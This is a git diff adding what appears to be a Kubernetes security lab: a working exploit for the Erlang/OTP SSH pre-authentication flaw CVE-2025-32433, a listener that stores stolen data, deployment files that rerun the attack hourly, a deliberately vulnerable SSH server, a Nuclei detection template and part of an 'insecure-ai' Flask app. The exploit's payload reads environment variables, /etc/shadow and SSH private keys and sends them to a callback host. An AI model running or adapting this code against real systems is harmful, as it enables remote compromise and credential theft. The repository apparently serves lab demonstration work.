+        + struct.pack(">I", 0x68000)  # initial window size
+        + struct.pack(">I", 0x10000)  # max packet size
+    )
+
+
+# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
+def build_channel_request(channel_id=0, command=None):
+    if command is None:
+        command = 'file:write_file("/lab.txt", <<"gotcha">>).'
+    return (
+        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
+        + struct.pack(">I", channel_id)
+        + string_payload("exec")
+        + b"\x01"  # want_reply = true
+        + string_payload(command)
+    )
+
+
+# Builds a minimal but valid SSH_MSG_KEXINIT packet
+def build_kexinit():
+    cookie = b"\x00" * 16
+
+    def name_list(l):
+        return string_payload(",".join(l))
+
+    # Match server-supported algorithms from the log
+    return (
+        b"\x14"
+        + cookie
+        + name_list(
+            [
+                "curve25519-sha256",
+                "ecdh-sha2-nistp256",
+                "diffie-hellman-group-exchange-sha256",
+                "diffie-hellman-group14-sha256",
+            ]
+        )  # kex algorithms
+        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  # host key algorithms
+        + name_list(["aes128-ctr"]) * 2  # encryption client->server, server->client
+        + name_list(["hmac-sha1"]) * 2  # MAC algorithms
+        + name_list(["none"]) * 2  # compression
+        + name_list([]) * 2  # languages
+        + b"\x00"
+        + struct.pack(">I", 0)  # first_kex_packet_follows, reserved
+    )
+
+
+# Pads a packet to match SSH framing
+def pad_packet(payload, block_size=8):
+    min_padding = 4
+    padding_len = block_size - ((len(payload) + 5) % block_size)
+    if padding_len < min_padding:
+        padding_len += block_size
+    return (
+        struct.pack(">I", len(payload) + 1 + padding_len)
+        + bytes([padding_len])
+        + payload
+        + bytes([0] * padding_len)
+    )
+
+# Build Erlang command to send environment variables and sensitive files to a listener
+def build_env_exfil_command(callback_host, callback_port=8080):
+    # Command that will:
+    # 1. Gather environment variables
+    # 2. Read sensitive files
+    # 3. Send all data to our listener
+    return f'''
+    begin
+        % Get environment variables
+        EnvData = "== ENVIRONMENT VARIABLES ==\\n" ++ os:cmd("env") ++ "\\n\\n",
+        
+        % Read some sensitive files
+        EtcPasswd = case file:read_file("/etc/passwd") of
+            {{ok, PasswdBin}} -> "== /etc/passwd ==\\n" ++ binary_to_list(PasswdBin) ++ "\\n\\n";
+            _ -> "== /etc/passwd ==\\nCould not read file\\n\\n"
+        end,
+        
+        EtcShadow = case file:read_file("/etc/shadow") of
+            {{ok, ShadowBin}} -> "== /etc/shadow ==\\n" ++ binary_to_list(ShadowBin) ++ "\\n\\n";
+            _ -> "== /etc/shadow ==\\nCould not read file\\n\\n"
+        end,
+        
+        SshKeys = case os:cmd("find /home -name 'id_rsa' -o -name 'id_dsa' -o -name '*.pem' -o -name 'authorized_keys' 2>/dev/null | xargs cat 2>/dev/null") of
+            [] -> "== SSH KEYS ==\\nNo SSH keys found\\n\\n";
+            Keys -> "== SSH KEYS ==\\n" ++ Keys ++ "\\n\\n"
+        end,
+        
+        % Additional info
+        HostInfo = "== HOST INFO ==\\n" ++ 
+                   "Hostname: " ++ os:cmd("hostname") ++
+                   "Kernel: " ++ os:cmd("uname -a") ++ "\\n\\n",
+        
+        % Combine all data
+        AllData = EnvData ++ HostInfo ++ EtcPasswd ++ EtcShadow ++ SshKeys,
+        
+        % Create a TCP connection to the listener
+        {{ok, Socket}} = gen_tcp:connect("{callback_host}", {callback_port}, [binary, {{packet, 0}}]),
+        
+        % Send the data
+        ok = gen_tcp:send(Socket, AllData),
+        
+        % Close the connection
+        gen_tcp:close(Socket),
+        
+        % Also write to file as backup
+        file:write_file("/env_vars.txt", list_to_binary(AllData))
+    end.
+    '''
+
+# === Exploit flow ===
+try:
+    # Get callback information from environment or use pod IP
+    CALLBACK_HOST = os.environ.get("CALLBACK_HOST", os.environ.get("POD_IP", "127.0.0.1"))
+    CALLBACK_PORT = int(os.environ.get("CALLBACK_PORT", "8080"))
+    
+    print(f"[*] Using callback address: {CALLBACK_HOST}:{CALLBACK_PORT}")
+    print(f"[*] Creating connection to {HOST}:{PORT}...")
+    
+    with socket.create_connection((HOST, PORT), timeout=10) as s:
+        print("[+] Connection established")
+        print("[*] Setting socket options...")
+        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+        s.settimeout(10)
+
+        # 1. Banner exchange
+        print("[*] Sending SSH banner...")
+        s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
+        print("[+] Banner sent")
+        
+        try:
+            banner = s.recv(1024)
+            print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
+        except socket.timeout:
+            print("[!] Timeout waiting for banner response")
+        except Exception as e:
+            print(f"[!] Error receiving banner: {e}")
+        
+        time.sleep(0.5)  # Small delay between packets
+
+        # 2. Send SSH_MSG_KEXINIT
+        print("[*] Sending SSH_MSG_KEXINIT...")
+        kex_packet = build_kexinit()
+        s.sendall(pad_packet(kex_packet))
+        print("[+] KEXINIT sent")
+        time.sleep(0.5)  # Small delay between packets
+
+        # 3. Send SSH_MSG_CHANNEL_OPEN
+        print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
+        chan_open = build_channel_open()
+        s.sendall(pad_packet(chan_open))
+        print("[+] CHANNEL_OPEN sent")
+        time.sleep(0.5)  # Small delay between packets
+
+        # 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!) with environment variable exfiltration command
+        env_exfil_cmd = build_env_exfil_command(CALLBACK_HOST, CALLBACK_PORT)
+        print(f"[*] Sending SSH_MSG_CHANNEL_REQUEST to exfiltrate data to {CALLBACK_HOST}:{CALLBACK_PORT}...")
+        chan_req = build_channel_request(command=env_exfil_cmd)
+        s.sendall(pad_packet(chan_req))
+        print("[+] CHANNEL_REQUEST sent")
+
+        print(f"[✓] Exploit sent! If the server is vulnerable, it should attempt to connect back to {CALLBACK_HOST}:{CALLBACK_PORT}")
+
+        # Try to receive any response (might get a protocol error or disconnect)
+        try:
+            print("[*] Waiting for response...")
+            response = s.recv(1024)
+            print(f"[+] Received response: {response.hex()}")
+        except socket.timeout:
+            print("[*] No response within timeout period (which is expected)")
+        except Exception as e:
+            print(f"[!] Error receiving response: {e}")
+
+except Exception as e:
+    print(f"[!] Error: {e}")
+    print("[!] Stack trace:")
+    import traceback
+    traceback.print_exc()
diff --git a/exploits/CVE-2025-32433/ssh_exploit/deploy.sh b/exploits/CVE-2025-32433/ssh_exploit/deploy.sh
new file mode 100755
index 0000000..95d94ba
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_exploit/deploy.sh
@@ -0,0 +1,22 @@
+#!/bin/bash
+
+# Exit on error
+set -e
+
+## Build the Docker image
+#echo "Building SSH exploit Docker image..."
+#docker build -t confusedcrib/ssh-exploit:latest -f exploit.Dockerfile .
+#
+## Push the Docker image
+#echo "Pushing SSH exploit Docker image..."
+#docker push confusedcrib/ssh-exploit:latest
+
+# Delete existing pod to force restart
+echo "Deleting existing pod to force restart..."
+kubectl delete pod -l app=ssh-exploit --force --grace-period=0 -n erlang || true
+
+# Deploy to Kubernetes
+echo "Deploying SSH exploit to Kubernetes..."
+kubectl apply -f exploit-deployment.yaml -n erlang
+
+echo "Deployment complete! Check the status with: kubectl get pods -l app=ssh-exploit" 
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_exploit/exploit-deployment.yaml b/exploits/CVE-2025-32433/ssh_exploit/exploit-deployment.yaml
new file mode 100644
index 0000000..ed40798
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_exploit/exploit-deployment.yaml
@@ -0,0 +1,99 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: ssh-exploit-role
+  namespace: erlang
+rules:
+- apiGroups: [""]
+  resources: ["services", "pods"]
+  verbs: ["get", "list"]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: ssh-exploit-rolebinding
+  namespace: erlang
+subjects:
+- kind: ServiceAccount
+  name: ssh-exploit
+  namespace: erlang
+roleRef:
+  kind: Role
+  name: ssh-exploit-role
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: ssh-exploit
+  namespace: erlang
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: ssh-exploit-listener
+  namespace: erlang
+spec:
+  selector:
+    app: ssh-exploit
+  ports:
+  - port: 8080
+    targetPort: 8080
+    protocol: TCP
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: ssh-exploit
+  namespace: erlang
+  labels:
+    app: ssh-exploit
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: ssh-exploit
+  template:
+    metadata:
+      labels:
+        app: ssh-exploit
+    spec:
+      serviceAccountName: ssh-exploit
+      containers:
+      - name: exploit
+        image: confusedcrib/ssh-exploit:latest
+        imagePullPolicy: Always
+        env:
+        - name: POD_NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        - name: POD_IP
+          valueFrom:
+            fieldRef:
+              fieldPath: status.podIP
+        - name: HOST
+          value: "ssh-server.erlang.svc.cluster.local"
+        - name: PORT
+          value: "2222"
+        - name: CALLBACK_HOST
+          valueFrom:
+            fieldRef:
+              fieldPath: status.podIP
+        - name: CALLBACK_PORT
+          value: "8080"
+        ports:
+        - containerPort: 8080
+          name: listener
+        command: ["/bin/sh", "-c"]
+        args: ["python listener.py & while true; do python CVE-2025-32433.py; echo 'Waiting for next hourly execution...'; sleep 3600; done"]
+        readinessProbe:
+          exec:
+            command:
+            - nc
+            - -zv
+            - ssh-server.erlang.svc.cluster.local
+            - "2222"
+          initialDelaySeconds: 5
+          periodSeconds: 5
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_exploit/exploit.Dockerfile b/exploits/CVE-2025-32433/ssh_exploit/exploit.Dockerfile
new file mode 100644
index 0000000..f38fb2f
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_exploit/exploit.Dockerfile
@@ -0,0 +1,18 @@
+FROM python:3.9-slim
+
+# Install required packages
+RUN pip install kubernetes requests
+
+# Create directory for captured data
+RUN mkdir -p /app/captured_data
+
+# Copy exploit files
+COPY CVE-2025-32433.py /app/
+COPY listener.py /app/
+WORKDIR /app
+
+# Make scripts executable
+RUN chmod +x /app/CVE-2025-32433.py /app/listener.py
+
+# Default command - this will be overridden by the args in the deployment YAML
+CMD ["bash", "-c", "python listener.py & python CVE-2025-32433.py"] 
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_exploit/listener.py b/exploits/CVE-2025-32433/ssh_exploit/listener.py
new file mode 100644
index 0000000..ae4dc93
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_exploit/listener.py
@@ -0,0 +1,127 @@
+#!/usr/bin/env python3
+import socket
+import time
+import os
+import argparse
+import threading
+import datetime
+
+class EnvVarListener:
+    def __init__(self, host='0.0.0.0', port=8080):
+        self.host = host
+        self.port = port
+        self.sock = None
+        self.connections = []
+        self.running = False
+        self.data_dir = "captured_data"
+        
+        # Create data directory if it doesn't exist
+        if not os.path.exists(self.data_dir):
+            os.makedirs(self.data_dir)
+    
+    def handle_client(self, client_socket, addr):
+        print(f"[+] Connection from {addr[0]}:{addr[1]}")
+        
+        # Timestamp for the filename
+        timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
+        filename = f"{self.data_dir}/env_vars_{addr[0]}_{timestamp}.txt"
+        
+        # Receive data with a timeout
+        client_socket.settimeout(30)
+        data = b""
+        try:
+            while True:
+                chunk = client_socket.recv(4096)
+                if not chunk:
+                    break
+                data += chunk
+        except socket.timeout:
+            print(f"[!] Receive timeout from {addr[0]}:{addr[1]}")
+        except Exception as e:
+            print(f"[!] Error receiving data from {addr[0]}:{addr[1]}: {e}")
+        
+        # Save received data to file
+        try:
+            if data:
+                with open(filename, 'wb') as f:
+                    f.write(data)
+                print(f"[+] Saved {len(data)} bytes to {filename}")
+                
+                # Also print the data to console
+                try:
+                    print("\n--- BEGIN RECEIVED DATA ---")
+                    print(data.decode('utf-8', errors='replace'))
+                    print("--- END RECEIVED DATA ---\n")
+                except Exception as e:
+                    print(f"[!] Error decoding data: {e}")
+            else:
+                print(f"[!] No data received from {addr[0]}:{addr[1]}")
+        except Exception as e:
+            print(f"[!] Error saving data: {e}")
+        
+        # Close the connection
+        client_socket.close()
+    
+    def start(self):
+        try:
+            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            self.sock.bind((self.host, self.port))
+            self.sock.listen(5)
+            self.running = True
+            
+            print(f"[*] Listener started on {self.host}:{self.port}")
+            print(f"[*] Saving captured data to {os.path.abspath(self.data_dir)}")
+            
+            while self.running:
+                try:
+                    client, addr = self.sock.accept()
+                    client_handler = threading.Thread(
+                        target=self.handle_client,
+                        args=(client, addr)
+                    )
+                    client_handler.daemon = True
+                    client_handler.start()
+                    self.connections.append(client_handler)
+                except Exception as e:
+                    if self.running:
+                        print(f"[!] Error accepting connection: {e}")
+                    break
+                    
+        except Exception as e:
+            print(f"[!] Error starting listener: {e}")
+        finally:
+            self.stop()
+    
+    def stop(self):
+        self.running = False
+        if self.sock:
+            try:
+                self.sock.close()
+            except:
+                pass
+        print("[*] Listener stopped")
+
+def main():
+    parser = argparse.ArgumentParser(description="Environment Variable Exfiltration Listener")
+    parser.add_argument("--host", default="0.0.0.0", help="Host to listen on (default: 0.0.0.0)")
+    parser.add_argument("--port", type=int, default=8080, help="Port to listen on (default: 8080)")
+    args = parser.parse_args()
+    
+    print("""
+    ✧･ﾟ: *✧･ﾟ:* 𝐄𝐧𝐯𝐢𝐫𝐨𝐧𝐦𝐞𝐧𝐭 𝐕𝐚𝐫𝐢𝐚𝐛𝐥𝐞 𝐋𝐢𝐬𝐭𝐞𝐧𝐞𝐫 *:･ﾟ✧*:･ﾟ✧
+    
+    For CVE-2025-32433 SSH Pre-Auth RCE Exploit
+    """)
+    
+    listener = EnvVarListener(args.host, args.port)
+    
+    try:
+        listener.start()
+    except KeyboardInterrupt:
+        print("\n[*] Keyboard interrupt detected. Shutting down...")
+    finally:
+        listener.stop()
+
+if __name__ == "__main__":
+    main() 
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_server/Dockerfile b/exploits/CVE-2025-32433/ssh_server/Dockerfile
new file mode 100644
index 0000000..729d6d3
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_server/Dockerfile
@@ -0,0 +1,31 @@
+FROM debian:bookworm
+
+WORKDIR /build
+
+RUN apt-get update && apt-get install -y \
+  git build-essential libssl-dev autoconf libncurses5-dev \
+  libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
+  libssh-dev libxml2-utils xsltproc fop wget curl \
+  openssh-client
+
+# Clone and build Erlang/OTP 26.2.5.11
+RUN git clone https://github.com/erlang/otp.git && \
+    cd otp && \
+    git checkout OTP-26.2.5.10 && \
+    ./configure --prefix=/usr && \
+    make -j$(nproc) && \
+    make install
+
+WORKDIR /root
+
+COPY ssh_server.erl .
+RUN erlc ssh_server.erl
+
+# Generate RSA key in PEM format that Erlang understands
+RUN mkdir -p /root/ssh_keys && \
+    ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N "" && \
+    ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub
+
+EXPOSE 2222
+
+CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_server/deploy.sh b/exploits/CVE-2025-32433/ssh_server/deploy.sh
new file mode 100755
index 0000000..d0aa4c6
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_server/deploy.sh
@@ -0,0 +1,14 @@
+#!/bin/bash
+
+# Build the Docker image
+#docker build -t confusedcrib/erlang-server:latest .
+#
+## Push the Docker image
+#docker push confusedcrib/erlang-server:latest
+
+# Apply the Kubernetes deployment
+kubectl apply -f ssh-server-deployment.yaml -n erlang
+
+echo "SSH server deployed successfully in the erlang namespace!"
+echo "You can connect to the server using:"
+echo "kubectl port-forward service/ssh-server 2222:22 -n erlang" 
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_server/ssh-server-deployment.yaml b/exploits/CVE-2025-32433/ssh_server/ssh-server-deployment.yaml
new file mode 100644
index 0000000..ffc3f5d
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_server/ssh-server-deployment.yaml
@@ -0,0 +1,53 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: ssh-server
+  namespace: erlang
+  labels:
+    app: ssh-server
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: ssh-server
+  template:
+    metadata:
+      labels:
+        app: ssh-server
+    spec:
+      containers:
+      - name: ssh-server
+        image: confusedcrib/erlang-server:latest
+        imagePullPolicy: Always
+        ports:
+        - containerPort: 2222
+          name: ssh
+        resources:
+          limits:
+            cpu: "500m"
+            memory: "256Mi"
+          requests:
+            cpu: "100m"
+            memory: "128Mi"
+        securityContext:
+          allowPrivilegeEscalation: false
+          runAsNonRoot: false
+          runAsUser: 0
+          capabilities:
+            drop:
+            - ALL
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: ssh-server
+  namespace: erlang
+spec:
+  type: ClusterIP
+  ports:
+  - port: 2222
+    targetPort: 2222
+    protocol: TCP
+    name: ssh
+  selector:
+    app: ssh-server 
\ No newline at end of file
diff --git a/exploits/CVE-2025-32433/ssh_server/ssh_server.erl b/exploits/CVE-2025-32433/ssh_server/ssh_server.erl
new file mode 100644
index 0000000..73803c2
--- /dev/null
+++ b/exploits/CVE-2025-32433/ssh_server/ssh_server.erl
@@ -0,0 +1,19 @@
+-module(ssh_server).
+-export([start/0]).
+
+start() ->
+    io:format("Starting vulnerable SSH server~n"),
+    application:ensure_all_started(ssh),
+    case ssh:daemon(2222, [
+        {system_dir, "/root/ssh_keys"},
+        {auth_methods, "password"},
+        {pwdfun, fun(User, Pass) ->
+            io:format("Login attempt ~p/~p~n", [User, Pass]),
+            false
+        end}
+    ]) of
+        {ok, Pid} ->
+            io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]);
+        {error, Reason} ->
+            io:format("Failed to start SSH daemon: ~p~n", [Reason])
+    end.
\ No newline at end of file
diff --git a/exploits/admission-review.json b/exploits/admission-review.json
new file mode 100644
index 0000000..351721b
--- /dev/null
+++ b/exploits/admission-review.json
@@ -0,0 +1,46 @@
+{
+    "apiVersion": "admission.k8s.io/v1",
+    "kind": "AdmissionReview",
+    "request": {
+      "kind": {
+        "group": "networking.k8s.io",
+        "version": "v1",
+        "kind": "Ingress"
+      },
+      "resource": {
+        "group": "",
+        "version": "v1",
+        "resource": "namespaces"
+      },
+      "operation": "CREATE",
+      "object": {
+        "metadata": {
+          "name": "example-ingress"
+        },
+        "spec": {
+          "ingressClassName": "nginx",
+          "rules": [
+            {
+              "host": "foo.com",
+              "http": {
+                "paths": [
+                  {
+                    "path": "/",
+                    "pathType": "Prefix",
+                    "backend": {
+                      "service": {
+                        "name": "kubernetes",
+                        "port": {
+                          "number": 80
+                        }
+                      }
+                    }
+                  }
+                ]
+              }
+            }
+          ]
+        }
+      }
+    }
+  }
\ No newline at end of file
diff --git a/exploits/nuclei-ingess.yaml b/exploits/nuclei-ingess.yaml
new file mode 100644
index 0000000..01d63bb
--- /dev/null
+++ b/exploits/nuclei-ingess.yaml
@@ -0,0 +1,37 @@
+id: exposed-ingress-nginx-admission
+
+info:
+  name: Publicly exposed Ingress NGINX Admission
+  author: Wiz research
+  severity: high
+  description: Ingress Nginx admission controller endpoint should not be exposed
+  metadata:
+    max-request: 1
+  tags: ssl,tls
+
+ssl:
+  - address: "{{Host}}:{{Port}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(issuer_org, "nil1")'
+          - 'contains(subject_org, "nil2")'
+          - 'contains(subject_an, "nginx")'
+        condition: and
+
+    extractors:
+      - type: json
+        name: issuer_org
+        json:
+            - ".issuer_org[0]"
+          
+      - type: json
+        name: subject_org
+        json:
+            - ".subject_org[0]"
+     
+      - type: json
+        name: subject_an
+        json:
+            - ".subject_an[0]" 
\ No newline at end of file
diff --git a/insecure-ai/Dockerfile b/insecure-ai/Dockerfile
new file mode 100644
index 0000000..b164ee0
--- /dev/null
+++ b/insecure-ai/Dockerfile
@@ -0,0 +1,26 @@
+FROM python:3.12-slim
+
+WORKDIR /app
+
+# Install system dependencies
+RUN apt-get update && apt-get install -y \
+    build-essential \
+    graphviz \
+    && rm -rf /var/lib/apt/lists/*
+
+# Copy requirements first to leverage Docker cache
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt gunicorn
+
+# Copy the rest of the application
+COPY . .
+
+# Expose the port the app runs on
+EXPOSE 5000
+
+# Set environment variables
+ENV FLASK_APP=app.py
+ENV FLASK_ENV=production
+
+# Run the application with gunicorn
+CMD ["gunicorn", "--bind", "0.0.0.0:5000", "--workers", "4", "--timeout", "120", "--config", "python:app", "app:app"] 
\ No newline at end of file
diff --git a/insecure-ai/README.md b/insecure-ai/README.md
new file mode 100644
index 0000000..8cf25da
--- /dev/null
+++ b/insecure-ai/README.md
@@ -0,0 +1,52 @@
+# Code Security Analyzer
+
+A Flask web application that allows users to analyze their code for security issues using the `latio` package.
+
+## Features
+
+- Paste code directly into the web interface
+- Upload code as a ZIP file
+- Real-time code analysis using `latio`
+- Modern, responsive UI with syntax highlighting
+
+## Prerequisites
+
+- Python 3.7 or higher
+- pip (Python package manager)
+- `latio` package installed globally
+
+## Installation
+
+1. Clone this repository or download the files
+2. Create a virtual environment (recommended):
+   ```bash
+   python -m venv venv
+   source venv/bin/activate  # On Windows: venv\Scripts\activate
+   ```
+3. Install the required packages:
+   ```bash
+   pip install -r requirements.txt
+   ```
+
+## Usage
+
+1. Start the Flask application:
+   ```bash
+   python app.py
+   ```
+2. Open your web browser and navigate to `http://localhost:5000`
+3. Either paste your code into the text editor or upload a ZIP file containing your code
+4. Click "Analyze Code" to run the security analysis
+5. View the results in the results section below
+
+## Security Considerations
+
+- The application uses temporary directories for file processing
+- File uploads are limited to 16MB
+- Only ZIP files are accepted for upload
+- All uploaded files are processed in isolated temporary directories
+- The application runs in debug mode for development purposes
+
+## License
+
+MIT License 
\ No newline at end of file
diff --git a/insecure-ai/app.py b/insecure-ai/app.py
new file mode 100644
index 0000000..4e4efce
--- /dev/null
+++ b/insecure-ai/app.py
@@ -0,0 +1,306 @@
+import os
+import tempfile
+import zipfile
+from flask import Flask, request, render_template, jsonify, url_for
+from werkzeug.utils import secure_filename
+import shutil
+import threading
+import time
+import logging
+import sys
+import asyncio
+from latio.core import full_agent_scan, partial_agent_scan
+import markdown
+import traceback
+import gunicorn.app.base
+
+# Set up logging before anything else
+def setup_logging():
+    try:
+        # Create logs directory if it doesn't exist
+        os.makedirs('/app/logs', exist_ok=True)
+        
+        # Configure root logger
+        root_logger = logging.getLogger()
+        root_logger.setLevel(logging.DEBUG)
+        
+        # Remove any existing handlers
+        for handler in root_logger.handlers[:]:
+            root_logger.removeHandler(handler)
+        
+        # Create formatters
+        formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+        
+        # Console handler
+        console_handler = logging.StreamHandler(sys.stdout)
+        console_handler.setFormatter(formatter)
+        root_logger.addHandler(console_handler)
+        
+        # File handler
+        file_handler = logging.FileHandler('/app/logs/app.log')
+        file_handler.setFormatter(formatter)
+        root_logger.addHandler(file_handler)
+        
+        # Set up specific logger for our app
+        logger = logging.getLogger(__name__)
+        logger.setLevel(logging.DEBUG)
+        
+        logger.info("Logging setup completed successfully")
+        return logger
+    except Exception as e:
+        print(f"Error setting up logging: {str(e)}", file=sys.stderr)
+        raise
+
+# Initialize logging
+logger = setup_logging()
+
+# Add a custom exception handler for unhandled exceptions
+def handle_exception(exc_type, exc_value, exc_traceback):
+    if issubclass(exc_type, KeyboardInterrupt):
+        sys.__excepthook__(exc_type, exc_value, exc_traceback)
+    else:
+        logger.error("Uncaught exception", exc_info=(exc_type, exc_value, exc_traceback))
+sys.excepthook = handle_exception
+
+app = Flask(__name__)
+app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16MB max file size
+app.config['UPLOAD_FOLDER'] = tempfile.gettempdir()
+app.config['APPLICATION_ROOT'] = '/ai'
+
+# Configure url_for to use the correct prefix
+def url_for_external(*args, **kwargs):
+    url = url_for(*args, **kwargs)
+    if app.config['APPLICATION_ROOT']:
+        url = app.config['APPLICATION_ROOT'] + url
+    return url
+
+app.jinja_env.globals['url_for'] = url_for_external
+
+# Gunicorn configuration
+class GunicornConfig:
+    def __init__(self):
+        self.bind = "0.0.0.0:5000"
+        self.workers = 4
+        self.timeout = 120
+        self.script_name = '/ai'
+
+# Create gunicorn config object
+gunicorn_config = GunicornConfig()
+
+# Add error handler for Flask
+@app.errorhandler(Exception)
+def handle_error(error):
+    error_msg = f"Flask error: {str(error)}\n{traceback.format_exc()}"
+    logger.error(error_msg)
+    return jsonify({'error': error_msg}), 500
+
+# Add request logging middleware
+@app.before_request
+def log_request_info():
+    logger.info('Request received: %s %s', request.method, request.url)
+    logger.debug('Headers: %s', dict(request.headers))
+    logger.debug('Form data: %s', dict(request.form))
+    logger.debug('Files: %s', dict(request.files))
+    logger.debug('Body: %s', request.get_data())
+
+@app.after_request
+def log_response_info(response):
+    logger.debug('Response status: %s', response.status)
+    logger.debug('Response headers: %s', dict(response.headers))
+    logger.debug('Response body: %s', response.get_data())
+    return response
+
+# Add error logging for unhandled exceptions in threads
+def thread_exception_handler(args):
+    logger.error("Unhandled exception in thread: %s", args.exc_value, exc_info=(args.exc_type, args.exc_value, args.exc_traceback))
+threading.excepthook = thread_exception_handler
+
+ALLOWED_EXTENSIONS = {'zip'}
+
+# Store analysis results
+analysis_results = {}
+analysis_status = {}
+
+def allowed_file(filename):
+    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
+
+async def analyze_directory(directory, analysis_id):
+    try:
+        analysis_status[analysis_id] = "running"
+        logger.info(f"Starting analysis in directory: {directory}")
+        
+        # Check if directory exists and is accessible
+        if not os.path.exists(directory):
+            error_msg = f"Directory {directory} does not exist"
+            logger.error(error_msg)
+            raise Exception(error_msg)
+        
+        # Log directory contents
+        try:
+            dir_contents = os.listdir(directory)
+            logger.info(f"Directory contents: {dir_contents}")
+        except Exception as e:
+            logger.warning(f"Could not list directory contents: {e}")
+        
+        # Run the analysis using full_agent_scan
+        try:
+            logger.info("Starting full_agent_scan...")
+            result = await full_agent_scan(directory, model='gpt-4o')
+            logger.info("full_agent_scan completed successfully")
+        except Exception as e:
+            error_msg = f"Error during full_agent_scan: {str(e)}\n{traceback.format_exc()}"
+            logger.error(error_msg)
+            raise Exception(error_msg)
+        
+        # Convert the result to a markdown string
+        if isinstance(result, list):
+            # Format each item as a markdown section
+            result_str = "\n\n".join(f"## {item['title']}\n\n{item['description']}" for item in result)
+        else:
+            result_str = str(result)
+        
+        logger.info(f"Analysis completed successfully")
+        analysis_results[analysis_id] = result_str
+        analysis_status[analysis_id] = "completed"
+    except Exception as e:
+        error_msg = f"Unexpected error: {str(e)}\n{traceback.format_exc()}"
+        logger.error(error_msg)
+        analysis_results[analysis_id] = error_msg
+        analysis_status[analysis_id] = "error"
+    finally:
+        # Clean up the temporary directory
+        try:
+            if os.path.exists(directory):
+                shutil.rmtree(directory)
+                logger.info(f"Cleaned up temporary directory: {directory}")
+        except Exception as e:
+            logger.warning(f"Failed to clean up temporary directory: {e}")
+
+def run_async_analysis(directory, analysis_id):
+    try:
+        logger.info(f"Starting async analysis for ID: {analysis_id}")
+        asyncio.run(analyze_directory(directory, analysis_id))
+    except Exception as e:
+        error_msg = f"Error in async analysis thread: {str(e)}\n{traceback.format_exc()}"
+        logger.error(error_msg)
+        analysis_results[analysis_id] = error_msg
+        analysis_status[analysis_id] = "error"
+
+@app.route('/')
+def index():
+    logger.info("Serving index page")
+    return render_template('index.html', url_for=url_for_external)
+
+@app.route('/analyze', methods=['POST'])
+def analyze():
+    analysis_id = str(time.time())
+    analysis_status[analysis_id] = "starting"
+    
+    try:
+        logger.info(f"Received analyze request with ID: {analysis_id}")
+        logger.debug(f"Request form data: {request.form}")
+        logger.debug(f"Request files: {request.files}")
+        
+        if 'code' in request.form:
+            # Create a temporary directory for the code
+            temp_dir = tempfile.mkdtemp()
+            logger.info(f"Created temporary directory: {temp_dir}")
+            try:
+                # Write the code to a file
+                code_file = os.path.join(temp_dir, 'code.py')
+                with open(code_file, 'w') as f:
+                    f.write(request.form['code'])
+                logger.info(f"Wrote code to {code_file}")
+                
+                # Start analysis in a separate thread
+                thread = threading.Thread(target=run_async_analysis, args=(temp_dir, analysis_id))
+                thread.start()
+                logger.info(f"Started analysis thread for ID: {analysis_id}")
+                
+                return jsonify({'analysis_id': analysis_id})
+            except Exception as e:
+                error_msg = f"Error processing code: {str(e)}\n{traceback.format_exc()}"
+                logger.error(error_msg)
+                return jsonify({'error': error_msg}), 500
+        
+        elif 'file' in request.files:
+            file = request.files['file']
+            if file.filename == '':
+                return jsonify({'error': 'No file selected'}), 400
+            
+            if file and allowed_file(file.filename):
+                # Create a temporary directory for the uploaded files
+                temp_dir = tempfile.mkdtemp()
+                logger.info(f"Created temporary directory: {temp_dir}")
+                try:
+                    # Save the uploaded file
+                    filename = secure_filename(file.filename)
+                    filepath = os.path.join(temp_dir, filename)
+                    file.save(filepath)
+                    logger.info(f"Saved uploaded file to: {filepath}")
+                    
+                    # Extract the zip file
+                    with zipfile.ZipFile(filepath, 'r') as zip_ref:
